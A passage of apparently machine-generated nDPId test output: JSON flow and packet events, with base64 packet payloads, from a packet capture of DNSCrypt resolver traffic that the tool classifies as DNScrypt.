AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":271,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":40595,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":272,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":402408,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ7uIAub0RDUAKAAABXV\/ipQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":272,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00669{"flow_id":105,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":405003,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUFOtAADYRDapCVR5zCgAAAQG7nKMAwIXDLCqBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADd8l9MieIsifjQGavIzw6tdHygby+pfz9uNV\/2so9cMC7hGKDfc+LzmB07CCRnhhWiHEKH9gFPecA8dSkDUDQHbk9p0e06j3wfoDIfK8NHA0t38M\/xpcLwZlzH2416A0JuT2nR7TqPfAAAAAFfU1T+X1Smfg=="} +00669{"flow_id":106,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":406315,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUFOxAADYRDalCVR5zCgAAAQG7uUgAwGkdLCuBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADd8l9MieIsifjQGavIzw6tdHygby+pfz9uNV\/2so9cMC7hGKDfc+LzmB07CCRnhhWiHEKH9gFPecA8dSkDUDQHbk9p0e06j3wfoDIfK8NHA0t38M\/xpcLwZlzH2416A0JuT2nR7TqPfAAAAAFfU1T+X1Smfg=="} +00669{"flow_id":108,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":407141,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUFO1AADYRDahCVR5zCgAAAQG7izIAwJc3LCeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADd8l9MieIsifjQGavIzw6tdHygby+pfz9uNV\/2so9cMC7hGKDfc+LzmB07CCRnhhWiHEKH9gFPecA8dSkDUDQHbk9p0e06j3wfoDIfK8NHA0t38M\/xpcLwZlzH2416A0JuT2nR7TqPfAAAAAFfU1T+X1Smfg=="} +00665{"flow_id":109,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":276,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":463702,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTA\/MAADYRf2ZdX+KlCgAAAQG7tK8Av+Gux+yBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAEQUmbKEod9nlyKPPrQqGP9Ls8t6H\/YHI72RThtMayAXvqOxd6z058i8UJ7+KMLpc+YgjKuAGDN2+1oeB3OFIgnw9LuNjyX7NTXMUO6Dulhi3d3ExK4wLeAsg632WDfaPfD0u42PJfs1X1OugV9TroFfVQAB"} +00666{"flow_id":112,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":464794,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTA\/QAADYRf2VdX+KlCgAAAQG7pKwAv\/Gzx+qBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAEQUmbKEod9nlyKPPrQqGP9Ls8t6H\/YHI72RThtMayAXvqOxd6z058i8UJ7+KMLpc+YgjKuAGDN2+1oeB3OFIgnw9LuNjyX7NTXMUO6Dulhi3d3ExK4wLeAsg632WDfaPfD0u42PJfs1X1OugV9TroFfVQAB"} +00665{"flow_id":113,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":466578,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTA\/UAADYRf2RdX+KlCgAAAQG75jgAv7Apx+iBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAEQUmbKEod9nlyKPPrQqGP9Ls8t6H\/YHI72RThtMayAXvqOxd6z058i8UJ7+KMLpc+YgjKuAGDN2+1oeB3OFIgnw9LuNjyX7NTXMUO6Dulhi3d3ExK4wLeAsg632WDfaPfD0u42PJfs1X1OugV9TroFfVQAB"} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":279,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":946739317403,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":37035,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":115,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":403292,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcmsFAAL0RhlMKAAABM56mYZCrAbsCCJzVB2IBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAEAAAAAAAAAAAABwwAMAb8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":279,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":946739317403,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":37035,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":280,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":946739317403,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":47257,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":116,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":403317,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcmsIgAL0RopIKAAABM56mYbiZAbsGBBC9B18BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAEAAAAAAAAAAAAFvwAMBbsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":280,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":946739317403,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":47257,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":281,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":403330,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQmsIAub0Rx2UKAAABM56mYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":281,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":282,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":946739317403,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":46066,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":117,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":403338,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcmsMgAL0RopEKAAABM56mYbPyAbsGBBVmB10BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAEAAAAAAAAAAAAFvwAMBbsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":282,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":946739317403,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":46066,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":283,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":403350,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQmsMAub0Rx2QKAAABM56mYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":283,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":284,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":946739317403,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":56494,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":118,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":403392,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcmsRAAL0RhlAKAAABM56mYdyuAbsCCJzVB2ABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAEAAAAAAAAAAAABwwAMAb8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":284,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":946739317403,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":56494,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":285,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":946739317403,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":60334,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":119,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":403417,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcmsZAAL0Rhk4KAAABM56mYeuuAbsCCJzVB14BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAEAAAAAAAAAAAABwwAMAb8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":285,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":946739317403,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":60334,"dst_port":443,"l4_proto":"udp","ndpi": 